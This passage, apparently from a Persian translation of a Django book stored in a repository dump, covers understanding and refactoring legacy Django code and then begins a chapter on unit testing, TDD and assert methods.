اجرای کد بر اساس الگوهای URL مختلف یک سایت آسان‌تر است.\n\nدر لینوکس، می توانید از دستور `find` به صورت زیر برای یافتن محل فایل `settings.py` و خط مربوطه که ریشه `urls.py` را مشخص می کند استفاده کنید:\n\n\n```bash\n$ find . -iname settings.py -exec grep -H 'ROOT_URLCONF' {} \\;\n./projectname/settings.py:ROOT_URLCONF = 'projectname.urls'\n$ ls projectname/urls.py\nprojectname/urls.py\n```\n\n## پرش در اطراف کد\n\nگاهی اوقات خواندن کد مانند مرور صفحات وب بدون لینک است. هنگامی که با یک تابع یا متغیری روبرو می شوید که در جای دیگری تعریف شده است، باید به فایلی که حاوی آن تعریف است بروید. برخی از IDE ها می توانند این کار را به صورت خودکار برای شما انجام دهند به شرطی که به آن ها بگویید که کدام فایل ها را به عنوان بخشی از پروژه ردیابی کند.\n\nاگر به جای آن از Emacs یا Vim استفاده می کنید، می توانید یک فایل TAGS برای پیمایش سریع بین فایل ها ایجاد کنید. به پوشه اصلی پروژه بروید و ابزاری به نام  **Exuberant Ctags** را به صورت زیر اجرا کنید:\n\n```bash\nfind . -iname \"*.py\" -print | etags -\n```\nاین یک فایل به نام TAGS ایجاد می کند که حاوی اطلاعات موقعیت است، جایی که هر واحد نحوی، مانند کلاس ها و توابع، تعریف شده است. در Emacs، می توانید تعریف تگ را پیدا کنید، جایی که مکان نما (یا نقطه همانطور که در Emacs نامیده می شود) با استفاده از فرمان `M-` است. \n\nدر حالی که استفاده از یک فایل تگ برای کد بزرگ بسیار سریع است، اما کاملاً ابتدایی است و از یک محیط مجازی (جایی که بیشتر تعاریف ممکن است قرار داشته باشند) آگاه نیست. یک جایگزین عالی استفاده از بسته `elpy` در Emacs است. می توان آن را برای شناسایی یک محیط مجازی پیکربندی کرد. پرش به تعریف یک عنصر نحوی با استفاده از همان فرمان `M-` است. با این حال، جستجو به فایل برچسب محدود نمی‌شود، بنابراین می‌توانید به طور یکپارچه به تعریف کلاس در کد منبع جنگو بروید. اکثر IDE ها این ویژگی را تحت نام `Navigate/Go\nto definition` ارائه می کنند. \n\n## درک کردن پایه‌ی کد\n\nیافتن کد قدیمی با مستندات خوب بسیار نادر است. حتی اگر این کار را انجام دهید، ممکن است اسناد تا حدی با کد هماهنگ نباشد که می‌تواند منجر به مشکلات بیشتر شود. اغلب، بهترین راهنما برای درک عملکرد برنامه، اجرای کدهای تست و یا اجرای خود کد است. اسناد رسمی جنگو بر اساس نسخه هایی در [https://docs.djangoproject.com](https://docs.djangoproject.com) سازماندهی شده است. در هر صفحه‌ای، می‌توانید به سرعت به صفحه مربوطه در نسخه‌های قبلی جنگو (با یک انتخابگر در قسمت پایین سمت راست صفحه) بروید: \n\n![image 01](1.png)\n\nبه همین ترتیب، اسناد مربوط به هر بسته جنگو که در  [readthedocs.org](http://readthedocs.org)  میزبانی شده است را نیز می توان به نسخه های قبلی آن ریشه‌یابی کرد.\n\nبه عنوان مثال، می توانید با کلیک بر روی انتخابگر در قسمت پایین سمت چپ صفحه، مستندات `django-braces` را تا نسخه 1.0.0 انتخاب کنید:\n\n\n![image 02](2.png)\n\n## ایجاد تصویر کلی\n\nبیشتر مردم با مشاهده نمودار سطح بالا از یک برنامه کاربردی راحت تر آن را درک می کنند. در حالی که این به طور ایده‌آل توسط شخصی ایجاد می‌شود که عملکرد برنامه را می‌فهمد، ابزارهایی وجود دارند که می‌توانند تصاویر بسیار مفیدی در سطح بالا از یک برنامه جنگو ایجاد کنند.\n\nبا دستور مدیریت `graph_models` که توسط بسته `django-command-extensions` ارائه می شود، می توان یک نمای کلی گرافیکی از همه مدل ها در برنامه های شما ایجاد کرد. همانطور که در نمودار زیر نشان داده شده است، کلاس های مدل و روابط آنها را می توان در یک نگاه درک کرد:\n\n![image 03](3.png)\n\nاین تجسم در واقع با استفاده از PyGraphviz ایجاد می شود. این می تواند برای پروژه های حتی با پیچیدگی متوسط واقعاً بزرگ باشد. از این رو، اگر برنامه ها به طور منطقی گروه بندی شده و جداگانه تجسم شوند، ممکن است آسان تر باشد.\n\n\n## نصب و استفاده از PyGraphviz\n\nاگر فکر مکنید که نصب PyGraphviz چالش برانگیز است، نگران نباشید، شما تنها نیستید. اخیراً هنگام نصب در اوبونتو با مشکلات متعددی مواجه شدم، از ناسازگاری پایتون 3 تا اسناد ناقص. برای صرفه جویی در وقت شما، مراحلی را که برای رسیدن به یک راه‌اندازی صحیح نیاز است، لیست کرده‌ام:\n\n1.\tدر اوبونتو، برای نصب PyGraphviz به بسته های زیر نیاز دارید:\nPyGraphviz:\n\n```bash\n$ sudo apt-get install python-dev graphviz libgraphviz-dev pkg-config\n```\n\n2.\tاکنون محیط مجازی خود را فعال کنید و pip را اجرا کنید تا نسخه توسعه PyGraphviz را مستقیماً از GitHub که از Python 3 پشتیبانی می کند نصب کنید:\n\n```bash\n$ pip install\ngit+http://github.com/pygraphviz/pygraphviz.git#egg=pygraphviz\n```\n\n3. سپس،`django-extensions` را نصب کنید و آن را به `INSTALLED_APPS` خود اضافه کنید. اکنون، شما آماده اید. \n4. در اینجا نمونه ای وجود دارد که برای ایجاد یک فایل GraphViz با پسوند dot فقط برای دو برنامه و تبدیل آن به یک تصویر با پسوند PNG برای مشاهده استفاده می شود:\n\n \n\n```bash\n$ python manage.py graph_models app1 app2 > models.dot\n$ dot -Tpng models.dot -o models.png\n```\n\n## تغییرات افزایشی یا نوشتن مجدد به صورت کامل؟\n\nاغلب، کدهای قدیمی توسط صاحبان برنامه به شما تحویل داده می شود به این امید که بیشتر آن می تواند فوراً یا پس از چند تغییر جزئی استفاده شود. با این حال، خواندن و درک یک پایگاه کد عظیم و اغلب قدیمی کار آسانی نیست. جای تعجب نیست که بیشتر برنامه نویسان کار روی greenfield  را ترجیح می دهند.\n\nدر بهترین حالت، کد قدیمی باید به راحتی قابل آزمایش، به خوبی مستند و انعطاف پذیر باشد تا در محیط های مدرن کار کند تا بتوانید در کمترین زمان تغییرات تدریجی را شروع کنید. در بدترین حالت، ممکن است توصیه کنید کد موجود را دور بیندازید و به بازنویسی کامل بروید. روش دیگر، همانطور که در بیشتر موارد وجود دارد، رویکرد کوتاه‌مدت ادامه ایجاد تغییرات تدریجی است و ممکن است یک تلاش بلندمدت موازی برای اجرای مجدد کامل انجام شود.\n\nیک قانون کلی که هنگام اتخاذ چنین تصمیماتی باید رعایت شود این است که اگر هزینه بازنویسی برنامه و نگهداری برنامه کمتر از هزینه نگهداری برنامه قدیمی در طول زمان است، توصیه می شود به سراغ بازنویسی بروید. باید مراقب تمام عوامل، مانند زمان صرف شده برای به روز رسانی برنامه نویسان جدید، و هزینه نگهداری سخت افزار قدیمی باشید.\n\nگاهی اوقات، پیچیدگی حوزه برنامه به مانع بزرگی در برابر بازنویسی تبدیل می شود، زیرا بسیاری از دانش‌های آموخته شده در فرآیند ساخت کدهای قدیمی از بین می رود. اغلب، این وابستگی به کد قدیمی خود نشانه ای از طراحی ضعیف در برنامه است، مانند شکست در برون‌سپاری قوانین تجاری از منطق برنامه.\n\nبدترین شکل بازنویسی که احتمالاً می توانید انجام دهید تبدیل یا ترجمه مکانیکی از یک زبان به زبان دیگر بدون استفاده از بهترین شیوه های موجود است. به عبارت دیگر، شما فرصت مدرن سازی پایه کد را با حذف سال‌ها شکست از دست دادید.\n\nکد باید به عنوان یک بدهی و نه به عنوان یک دارایی در نظر گرفته شود. هرچقدر هم که ممکن است غیر شهودی به نظر برسد، اگر بتوانید با مقدار کمتری کد به اهداف تجاری خود برسید، بهره وری خود را به طرز چشمگیری افزایش داده اید. داشتن کد کمتر برای آزمایش، اشکال زدایی و نگهداری نه تنها می تواند هزینه های جاری را کاهش دهد، بلکه سازمان شما را در برابر تغییرات چابک تر و انعطاف پذیرتر می کند.\n\n`کد یک بدهی است، نه یک دارایی. کد کمتر قابل نگهداری است.`\n\nصرف نظر از اینکه ویژگی‌ها را اضافه می‌کنید یا کد خود را مرتب می‌کنید، شما نباید بدون انجام آزمایشات به کد قدیمی کاری خود دست بزنید\n\n## تست نوشتن قبل از ایجاد هرگونه تغییر\n\nدر کتاب *کارکرد موثر با کد مورثی* (Working Effectively with Legacy Code) توسط *Michael Feathers*، کدهای قدیمی به سادگی به صورت کد بدون آزمون تعریف شده است. او توضیح می‌دهد که با آزمایش‌ها، می‌توانید به راحتی رفتار کد را به سرعت و به‌طور قابل تأیید تغییر دهید. در غیاب آزمایش، نمی توان ارزیابی کرد که آیا این تغییر باعث بهتر یا بدتر شدن کد شده است.\n\n\nاغلب، ما به اندازه کافی درباره کدهای قدیمی نمی دانیم تا بتوانیم با اطمینان یک تست بنویسیم. مایکل نوشتن تست هایی را توصیه می کند که رفتار موجود را حفظ و مستند کند، که به آنها تست مشخصه‌سازی می گویند.\n\nبرخلاف دیدگاه‌های معمول تست‌ نوشتن، هنگام نوشتن تست مشخصه‌سازی ابتدا یک تست شکست با خروجی ساختگی (مثلا X) می‌نویسید، زیرا نمی‌دانید از خروجی چه نتیجه‌ای حاصل می شود. هنگامی که تست با یک خطا از کار می افتد **مثلا خروجی X انتظار می رود اما Y را دریافت می کند**، تست خود را به Y تغییر می دهید. بنابراین، اکنون تست با موفقیت انجام می شود و به یک رکورد از رفتار موجود کد تبدیل می شود.\n\n`ممکن است رفتار باگ‌دار را نیز ثبت کنیم. گذشته از همه اینها، به این کد شناخت کافی نداریم. با این اوصاف، نوشتن چنین تست هایی قبل از شروع تغییر کد ضروری است. بعداً، وقتی مشخصات و کدها را بهتر دانستیم، می‌توانیم این باگ‌ها را برطرف کرده و آزمایش‌های خود را به‌روزرسانی کنیم (نه لزوماً به این ترتیب).`\n\n## مراحل گام به گام جهت نوشتن تست\n\nنوشتن تست قبل از تغییر کد شبیه به نصب داربست قبل از مرمت یک ساختمان قدیمی است. این یک چارچوب ساختاری را فراهم می کند که به شما کمک می کند تا تعمیرات را با اطمینان انجام دهید.\n\nممکن است بخواهید این فرآیند را به صورت گام به گام به شرح زیر انجام دهید:ب\n\n1. بخشی را که باید در آن تغییرات ایجاد کنید، مشخص کنید. گزارش اشکال شما می تواند راهنمای خوبی برای محدود کردن حوزه مشکل باشد. تست های  مشخصه‌سازی را با تمرکز بر روی این ناحیه بنویسید تا زمانی که رفتار آن را به نحوی که مورد رضایتتان است دریافت کنید. \n2.\tبه تغییراتی که باید ایجاد کنید نگاه کنید و موارد تستی خاص را برای آن ها بنویسید. در برابر وسوسه افزودن قابلیت های جدید مقاومت کنید. سعی کنید که تست های واحد  را به صورت کوچک بنویسید و از نوشتن تست های بزرگ دوری کنید \n3. تغییرات افزایشی را تعیین کنید و در در یک حالت گام‌به‌گامِ تست کنید. اگر تست‌ها شکست خورد، سعی کنید آن را تجزیه و تحلیل کنید که آیا مورد انتظار بود یا خیر. اگر آن رفتار چیزی است که قصد تغییر آن را داشته اید، از شکست حتی تست های مشخصه‌سازی نترسید.\n\nتوجه داشته باشید که تست های مشخصه تمام رفتارهای موجود کد شما از جمله اشکالات را ثبت می کنند. هنگامی که کد شما وارد مرحله پروداکشن شد و کاربران با آن آشنا شدند، اشکالات می توانند به رفتار مورد انتظار تبدیل شوند. بنابراین این تست ها به عنوان یک مستند قابل آزمایش از عملکرد همانطور که هست عمل می کنند.\n\nاگر مجموعه خوبی از تست های دانه ایی در اطراف کد خود دارید، می توانید به سرعت تأثیر تغییر کد خود را پیدا کنید. از این رو، ارزش نوشتن تست های واحد بیشتر با پوشش خوب به شما کمک می کند تا تأثیر یک تغییر را سریع تشخیص دهید.\n\nاز سوی دیگر، اگر تصمیم به بازنویسی با حذف کد خود دارید، اما نه داده های خود، جنگو می تواند کمک قابل توجهی به شما کند.\n\n## یکپارچگی دیتابیس میراثی\n\n\nیک بخش کامل در مورد پایگاه داده های قدیمی در اسناد جنگو وجود دارد و این کار درستی است، زیرا بارها با آنها برخورد خواهید کرد. داده ها مهم تر از کد هستند و پایگاه های داده مخازن داده ها در اکثر شرکت ها هستند.\n\nشما می توانید یک برنامه قدیمی را که به زبان ها یا فریم ورک های دیگر نوشته شده است، با وارد کردن ساختار پایگاه داده آنها به جنگو مدرن کنید. به عنوان یک مزیت ، می توانید از رابط مدیریت جنگو برای مشاهده و تغییر داده های قدیمی خود استفاده کنید.\n\nجنگو با دستور مدیریت `inspectdb` که به صورت زیر است این کار را آسان می کند:\n\n\n```bash\n$ python manage.py inspectdb > models.py\n```\n\nاگر این دستور در حالی اجرا شود که تنظیمات شما برای استفاده از پایگاه داده قدیمی پیکربندی شده است، می تواند به طور خودکار کد پایتون را ایجاد کند که در بخش فایل مدل های شما می رود. به طور پیش فرض، این مدل ها بدون مدیریت هستند، یعنی `managed = False`. در این حالت، جنگو ایجاد، اصلاح یا حذف مدل را کنترل نخواهد کرد.\n\nاگر از این رویکرد برای ادغام یک پایگاه داده قدیمی استفاده می کنید، در اینجا بهترین روش ها آورده شده است: بق\n- از قبل محدودیت های ORM جنگو را بشناسید. در حال حاضر، کلیدهای اولیه چند ستونی (کامپوزیت) و پایگاه داده های NoSQL پشتیبانی نمی شوند. \n- فراموش نکنید که مدل های تولید شده را به صورت دستی اصلاح کنید. به عنوان مثال، فیلدهای `id` اضافی را حذف کنید زیرا جنگو آنها را به طور خودکار ایجاد می کند. \n- روابط کلید خارجی ممکن است به صورت دستی تعریف شوند. در برخی پایگاه‌های داده، مدل‌های تولید شده به صورت خودکار دارای فیلدهای عدد صحیح (با پسوند `_id`) هستند. \n- مدل های خود را در برنامه های جداگانه سازماندهی کنید. بعداً افزودن نماها، فرم‌ها و تست‌ها در پوشه‌های مناسب آسان‌تر خواهد بود.  \n- به یاد داشته باشید که اجرای migrations، جداول مدیریت جنگو (`django_*` و `auth_*`) را در پایگاه داده قدیمی ایجاد می کند.\n\nدر حالت ایده‌آل، باید بتوان از مدل‌های تولید خودکار بلافاصله استفاده کرد، اما در عمل، آزمون و خطای زیادی می‌طلبد. گاهی اوقات، نوع داده ای که جنگو استنباط می کند ممکن است با انتظارات شما مطابقت نداشته باشد. در موارد دیگر، ممکن است بخواهید متا اطلاعات اضافی، مانند `unique_together` را به مدل خود اضافه کنید.\n\n\nدر نهایت، شما باید بتوانید تمام داده‌هایی را که در داخل برنامه قدیمی PHP داشتید، در رابط کاربری Django خود مشاهده کنید. من مطمئن هستم که مشاهده این دیتاها در جنگو لبخند به لب شما خواهد آورد.\n\n## آینده نگری<sup>[3](#footnote-3)</sup>  (Future proof)\n\nیک پایه کد خوب نوشته شده برای کار کردن لذت بخش است. یک پایگاه کد بد سازماندهی شده و  شکننده معمولاً به عنوان کد قدیمی در نظر گرفته می شود و مانع نوآوری می شود. بنابراین چگونه می توانید شانس در نظر گرفتن برنامه خود را به عنوان کد مورثی کاهش دهید؟ در اینجا چند توصیه وجود دارد:\n\n- **منسوخ ‌شده‌های جنگو**: منسوخ شده ها به شما می‌گویند که آیا یک ویژگی یا اصطلاح در آینده از جنگو حذف خواهد شد. از جنگو 1.11 آنها به طور پیش فرض غیر فعال هستند. از `python -Wd`  استفاده کنید تا اخطارهای منسوخ شدن نمایش داده شوند.\n- **بررسی کد**: از کیفیت بالای کد اطمینان حاصل کنید و روش برتر را در بررسی ها تشویق کنید.\n- **قالب‌بندی ثابت**: برای کاهش زمان بازبینی، از یک برنامه قالب‌بندی کد مانند `black` جهت مرتب شدن کدها قبل از اجرای آن استفاده کنید\n- **افزایش پوشش کد<sup>[4](#footnote-4)</sup>**: تست های بیشتری بنویسید، به خصوص تست های واحد.\n- **اشاره به نوع<sup>[5](#footnote-5)</sup>**: از سرنخ‌های نوع برای انجام تحلیل ایستای کد  پایتون 3 و کاهش تعداد موارد تست استفاده کنید.\n- **مدیریت پیکربندی**: کنترل نسخه قوی و سایر شیوه های مدیریت پیکربندی را برای انجام پروژه خود در نظر بگیرید تا اطمینان از محیط های قابل تکرار و بازگشت بدون دردسر را داشته باشید. این شامل استفاده از مجموعه ای از ابزارها از Git تا  Ansible است، در حالی که فرهنگ DevOps چابکی دارید.\n\n## خلاصه\nدر این فصل، تکنیک‌های مختلفی را برای درک کدهای قدیمی بررسی کردیم. خواندن کد اغلب یک مهارت دست کم گرفته شده است. با این حال، به جای اختراع مجدد چرخ، ما نیاز داریم تا زمانی که ممکن است از کدهای با عملکرد مناسب دوباره استفاده کنیم. در این فصل و در سراسر کتاب، ما بر اهمیت نوشتن موارد تست به عنوان بخشی جدایی ناپذیر از کدنویسی تاکید می کنیم.\n\nدر فصل بعدی، در مورد نوشتن موارد تست و کار اغلب خسته کننده اشکال زدایی که به دنبال آن انجام می شود صحبت خواهیم کرد.\n\n\n---\n<a name=\"footnote-1\">1</a>:   محیط، منظور محیط شبکه است که در واقع مرز بین شبکه داخلی امن یک سازمان و هر شبکه خارجی کنترل نشده دیگری مثل اینترنت است.  در اینجا اشاره به نفوذ به داخل شبکه آن سازمان توسط حملات سایبری دارد.\n\n<a name=\"footnote-2\">2</a>:  زمانی از این اصطلاح استفاده می شود که فرد به تئوری های توطئه اعتقاد دارد و یا اصطلاحا اعتقاد به این دارد که رویداد فعلی نتیجه نقشه های مخفی افراد قدرتمند هستند\n\n<a name=\"footnote-3\">3</a>:  ‌ فرآیند پیش‌بینی آینده و ارائه روش‌هایی جهت حداقل شدن شوک‌ها و تنش‌های رخدادها و حوادث آینده است. جهت به خداقل رسیدن تغییرات در کد ها است.\n\n<a name=\"footnote-4\">4</a>:  پوشش کد (Code Coverage) به میزان خط کدی که توسط تست های نوشته شده شما پاس می شوند گفته می شود   \n\n<a name=\"footnote-5\">5</a>: اشاره به نوع (Type hinting) در واقع قابلیتی است که از طریق آن می توانید تعیین کنید که انتظار چه نوع داده ای را از به عنوان نمونه تابع مد نظر خود داریم.\n\n\n\n\n\n\n"
  },
  {
    "path": "11-Testing-and-Debugging/README.md",
    "content": "# تست کردن و رفع مشکل\n\nدر این بخش موضوعات زیر را بررسی خواهیم کرد:\n\nتوسعه تست محور TDD\n- بایدها و نبایدها در نوشتن تست\n- تقلید کردن Mocking\n- عیب‌یابی Debugging \n- لاگ کردن Logging\n\nهر برنامه‌نویسی حداقل یک‌بار به این فکر کرده است که نوشتن تست را انجام ندهد. در جنگو، ترکیب‌بندی پیش‌فرض اپ‌ها، دارای یک ماژول `tests.py`به همراه تعدادی محتوای جانگه‌دار (placeholder) است. این برای یادآوری آن است که تست‌ها ضروری هستند. با اینحال ما اغلب تمایل داریم که از نوشتن تست صرفنظر کنیم.\n\nدر جنگو، نوشتن تست تقریباً شبیه نوشتن کد است. درواقع عملاً کد است. بنابراین، فرآیند نوشتن تست ممکن است شبیه این به نظر بیاید که کدهای پروژه دوبرابر (یا بعضی وقت‌ها بیشتر) شود. بعضی مواقع، ما تحت چنان فشاری هستیم که ممکن است به نظر احمقانه بیاید که تست بنویسیم در حالی که فقط در تلاش هستیم که پروژه کار کند.\n\nبا اینحال در نهایت، اگر بخواهید کس دیگری از کد شما استفاده کند، ننوشتن تست بی‌معنی است. تصور کنید که یک تیغ ریش‌تراش برقی اختراح کرده‌اید و سعی می‌کنید آن را به دوست خود بفروشید و به او می‌گویید که تیغ به درستی کار می‌کند اما هنوز آن را به درستی تست نکرده‌اید. اگر دوست خوب شما باشند، ممکن است حرف شما را بپذیرند اما اگر این جمله را به غریبه‌ها بگویید، ترسناک خواهد بود.\n\n## چرا تست بنویسیم؟\n\nتست‌ها در یک برنامه، کنترل می‌کنند که آیا برنامه طبق انتظار کار می‌کند یا نه. شما ممکن است بگویید که برنامه شما کار می‌کند اما هیچ راهی برای اثبات آن ندارید.\n\nعلاوه بر این، بسیار مهم است که به یاد داشته باشید برعکس زبان‌هایی مانند هسکل که غلط‌های تایپی موقع کامپیال کنترل می‌شوند، حذف یونیت تست در پایتون به خاطر ماهیت duck-typing آن، بسیار خطرناک است (برای همین راهنمای تایپ می‌تواند کمک‌کننده باشد). یونیت تست‌ها در زمان اجرا (هرچند در یک اجرای متفاوت) در هنگام توسعه با پایتون بسیار مهم هستند.\n\nنوشتن تست می‌تواند یک تجربه متواضع کننده باشد. تست‌ها می‌توانند ایرادات ما را نشان دهند و این امکان را به شما می‌دهند که زودتر از هر کس دیگری آن‌ها را شناسایی و رفع کنیم. در حقیقت، برخی توصیه می‌کنند که تست را قبل از نوشتن کد اصلی انجام دهید. \n\n## رویکرد TDD\n\nرویکرد TDD یک روش توسعه نرم‌افزار است که در آن شما ابتدا تست را می‌نویسید، آن را اجرا می‌کنید (که ابتدا شکست می‌خورند) و سپس حداقل میزان کدی را می‌نویسید که باعث قبول شدن تست‌ها شود. ممکن است این روش متناقض به نظر برسد که چرا نیاز به تست‌هایی داریم وقتی که می‌دانیم هیچ کدی ننوشته‌ایم و تست‌ها به خاطر همین شکست خواهند خورد؟\n \nبا اینحال، دوباره نگاه کنید. ما در نهایت کدهایی را خواهیم نوشت که دقیقاً در این تست‌ها قبول خواهند شد. این به معنی آن است که این تست‌ها، تست‌‌های معمولی نیستند آن ها بیشتر شبیه به مشخصات کار هستند. این تست‌ها می‌گویند که چه چیزی انتظار داریم. این تست ها یا مشخصات، دقیقاً از سناریو کاربری مشتری شما، به دست آمده‌اند. شما به اندازه‌ای کد نوشته‌اید که درخواست مورد نظر انجام شود.\n\nفرآیند TDD، مشابهت‌های زیادی به روش علمی دارد که پایه علوم مدرن است. در روش علمی، مهم است که ابتدا فرضیه را مشخص کنید، داده‌ها را جمع‌آوری کنید و سپس آزمایش‌هایی که قابل تکرار باشند انجام دهید تا فرضیه را اثبات یا رد کنند.\n\nتوصیه من این است که TDD را زمانی امتحان کنید که با تست نوشتن برای پروژه راحت هستید. تازه‌کارها ممکن است برای مشخص کردن موضوع تست که قرار است عملکرد پروژه را بررسی کند راحت نباشند. به همین دلیل من TDD را برای برنامه‌نویسی اکتشافی هم، توصیه نمی‌کنم.\n\n## نوشتن یک تست موضوعی\n\nانواع مختلفی از تست وجود دارد. با اینحال به عنوان یک حداقل، یک برنامه‌نویس نیاز دارد که برای نوشتن تست‌های واحد، آن‌ها را بشناسد. تست واحد، کوچکترین بخش قابل آزمودن یک اپلیکیشن را تست می‌کند. تست‌های یکپارچگی، کنترل می‌کنند که آیا این بخش‌های کوچک در کنار یکدیگر درست عمل می‌کنند یا نه.\n\nکلمه واحد در اینجا یک کلمه کلیدی است. فقط یک واحد را در هر مرحله تست کنید. بیایید نگاهی به یک مثال ساده از یک تست موضوعی داشته باشیم:\n\n```python\n# tests.py\nfrom django.test import TestCase\nfrom django.core.urlresolvers import resolve\nfrom .views import HomeView\nclass HomePageOpenTestCase(TestCase):\n    def test_home_page_resolves(self):\n        view = resolve('/')\n        self.assertEqual(view.func.__name__,\n            HomeView.as_view().__name__)\n```\n\nاین یک تست ساده است که چک می‌کند که آیا کاربر هنگامی که به آدرس ریشه‌ای سایت ما مراجعه می‌کند به درستی به صفحه خانه منتقل شده است یا نه. شبیه به اکثر تست‌های خوب، این تست یک نام بلند و توصیفی دارد. این تست به سادگی از فانکشن `resolve()` جنگو استفاده می‌کند تا آدرسی را که به کمک / به موقعیت ریشه سایت نسبت داده شده با نام فانکشن مورد نظر ما مقایسه کند.\n\nبسیار مهم است که بدانیم چه موضوعی در این تست بررسی نمی‌شود. ما سعی نکرده‌ایم که محتوای HTML این صفحه یا کد وضعیت آن را دریافت کنیم. ما خود را محدود کرده‌ایم که فقط یک موضوع را بررسی کنیم که فانکشن `resolve()` است. یعنی آدرس مورد نظر به کدام فانکشن ویو منتقل می‌شود.\n\nبافرض اینکه این تست در اپ `app1` پروژه شما قرار دارد، این تست می‌تواند با دستور زیر اجرا شود:\n\n```python\n$ ./manage.py test app1\nCreating test database for alias 'default'...\n.\n-----------------------------------------------------------------\nRan 1 test in 0.088s\nOK\nDestroying test database for alias 'default'...\n```\n\nاین دستور تمام تست‌های موجود در اپ یا پکیج `app1` را اجرا می‌کند. اجراکننده پیش‌فرض تست، تمام ماژول‌های این اپ را که با الگوی `test*.py` مطابقت داشته باشد جستجو می‌کند.\n\nجنگو در حال حاضر از ماژول استاندارد `unittest` که توسط پایتون ارائه می‌شود استفاده می‌کند. شما می‌توانید یک کلاس `testcase` را با زیرکلاس درست کردن از `django.test.TestCase`، بسازید.\n\nاین کلاس معمولاً متدهایی با نام‌گذاری زیر دارد:\n\n- متد `test*`: هر متدی که نام آن با `test`شروع شود، به عنوان یک متد تست اجرا خواهد شد. تست‌ها به ترتیب حروف الفبایی نام‌هایشان اجرا خواهند شد.\n- متد `setUp` (اختیاری): این متد قبل از هر متد تست، اجرا خواهد شد. این متد می‌تواند برای ساخت آبژکت‌های مشترک یا آماده کردن سایر کارهای اولیه تست، استفاده شود. \n- متد `tearDown`( اختیاری): این متد بعد از انجام یک تست، اجرا خواهد شد، فارغ از اینکه تست موفق بوده یا نه. فعالیت‌های پاک‌سازی معمولاً‌  در اینجا تعریف می‌شوند.\n\nیک واحد تست، یک راه منطقی برای گروه‌بندی متدهای تستی است که همگی یک سناریو دارند. وقتی که تمام تست‌ها قبول شوند (به این معنی، که هیچ استثنایی را مطرح نکرده باشید)، واحد تست به عنوان قبول شده، در نظر گرفته می‌شود. اگر فقط یکی از متدها قبول نشود، کل واحد تست شکست خورده در نظر گرفته می‌شود.\n\n## متد assert\n\nهر متد تست، معمولاً یک متد `assert*()` را فراخوانی می‌کند تا برخی نتایج مورد انتظار را بررسی کند. ما از متد `assertEqual()` استفاده کردیم تا بررسی کنیم که نام تابع با نام مورد انتظار ما یکسان هست یا نه.\n\nکتابخانه `unittest` پایتون ۳ همانند متد `assertEqual()`، بیش از ۳۲ متد assert ارائه می‌کند. جنگو بر این اساس، ۱۹ متد اختصاصی برای فریمورک خودش را نیز توسعه داده است. شما باید بهترین متد را متناسب با نتیجه‌ای که انتظار دارید انتخاب کنید در نتیجه بهترین نوع خطا، در صورت بروز مشکل، به شما نشان داده خواهد شد.\n\nبیایید برای بررسی چرایی این موضوع، به یک `testcase` که دارای متد `setUp()` است نگاهی بیندازیم:\n\n```python\ndef setUp(self):\n    self.l1 = [1, 2]\n    self.l2 = [1, 0]\n```\n\nتست ما بررسی می‌کند که آیا `l1` و `l2` برابر هستند (که با توجه به مقادیر آن‌ها باید این ادعا شکست بخورد). بیایید به چندین راه مختلف که این موضوع را بررسی می‌کنند نگاهی بیندازیم:\n\nبیانیه ادعای آزمون | خروجی‌های تست(خط‌های غیر مهم حذف شده) |\n| :---: | :---: |\n```assert self.l1 == self.l2``` |  ```assert self.l1 == self.l2 AssertionError```\n```self.assertEqual(self.l1, self.l2)``` | ```AssertionError: Lists differ: [1, 2] != [1, 0] First differing element 1: 2, 0```\n```self.assertListEqual(self.l1,self.l2)``` | ```AssertionError: Lists differ: [1, 2] != [1, 0] First differing element 1: 2, 0```\n```self.assertListEqual(self.l1, None)``` | ```AssertionError: Second sequence is not a list: None```\n\nاولین عبارت، از عبارت پیش‌فرض `assert` در پایتون استفاده می‌کند. توجه کنید که کمترین میزان توضیحات در گزارش خطا وجود دارد. شما نمی‌توانید تشخیص دهید که چه مقدار یا نوعی از متغیر در `self.l1` و `self.l2` تعریف شده است. این اولین دلیلی است که باعث می‌شود ما از متدهای `assert*()` استفاده کنیم.\n\nدر عبارت بعدی، گزارش خطایی که توسط `assertEqual()` ارائه شده، به شما نشان می‌دهد که شما دو لیست مختلف را با یکدیگر مقایسه می‌کنید و حتی به شما می‌گوید که در کدام محل از لیست، تغییرات شروع شده است. این دقیقاً همان گزارشی است که اگر از متد `assertListEqual()` استفاده کنید، دریافت خواهید کرد. به این دلیل که بر اساس مستندات، اگر دو لیست را برای مقایسه به متد `assertEqual()` ارجاع دهید، این متد آن را به متد `assertListEqual()` ارسال خواهد کرد.\n\nبا وجود این، همانطور که آخرین مثال نشان می‌دهد همیشه بهتر است که از دقیق‌ترین متد `assert*`، برای تست‌های خود استفاده کنید. در مثال قبل، وقتی دومین آرگومان، از نوع لیست نیست، گزارش خطا به شما نشان می‌دهد که انتظار دریافت یک لیست را داشته است.\n\n`از اختصاصی‌ترین متد assert* در تست‌های خود استفاده کنید.`\n\nبنابراین، لازم است که با تمام متدهای `assert` آشنا باشید و مناسب‌ترین را برای بررسی نتایج مورد انتطار از تست خود انتخاب کنید. این اتفاق در مواقعی که شما انتظار دارید که برنامه شما کار خاصی را انجام ندهد، نیز معتبر است. به این موارد واحد تست منفی گفته می‌شود. شما همچنین می‌توانید برای بررسی اخطارها یا استثناها از متدهای `assertWarns`و `assertRaises` استفاده کنید.\n\n## نوشتن واحد تست بهتر\n\nما قبلاً دیدیم که بهترین واحدهای تست، هر بار یک تکه کوچک کد را آزمایش می‌کنند. علاوه بر این لازم است که تست‌ها سریع نیز باشند. یک برنامه‌نویس احتیاج دارد که تست‌ها را حداقل یک‌بار قبل از هر کامیت به مخزن کنترل نسخه، اجرا کند. حتی یک تأخیر چند ثانیه‌ای ممکن است برنامه‌نویس را از اجرای تست، منصرف کند (که چیز خوبی نیست).\n\nاینجا چند کیفیت از یک واحد تست خوب (که البته یک عبارت ساختگی است) و به صورتی که در ذهن بماند، آمده است؛ **fast, independent, repeatable, small,\ntransparent (FIRST)**، واحد تست فرست کلاس:\n\n- **سریع Fast**: تست‌های سریع‌تر، بیشتر اجرا می‌شوند. به صورت ایده‌آل تست‌های شما باید در چند ثانیه اجرا شوند.\n- **مستقل Independent**: هر واحد تست باید از دیگری مستقل باشد و بتواند به هر ترتیبی اجرا شود. \n- **تکرارپذیر Repeatable**: نتیجه باید هر بار که تست اجرا می‌شود، یکی باشد. به صورت ایده‌آل هر فاکتور متغیر یا شانسی، باید قبل از اجرای تست کنترل شود. \n- **کوچک Small**: واحد تست باید تا حد ممکن کوتاه باشد تا با سرعت بیشتر اجرا شود و قابل فهم‌تر باشد.\n- **شفاف Transparent**: از پیاده‌سازی 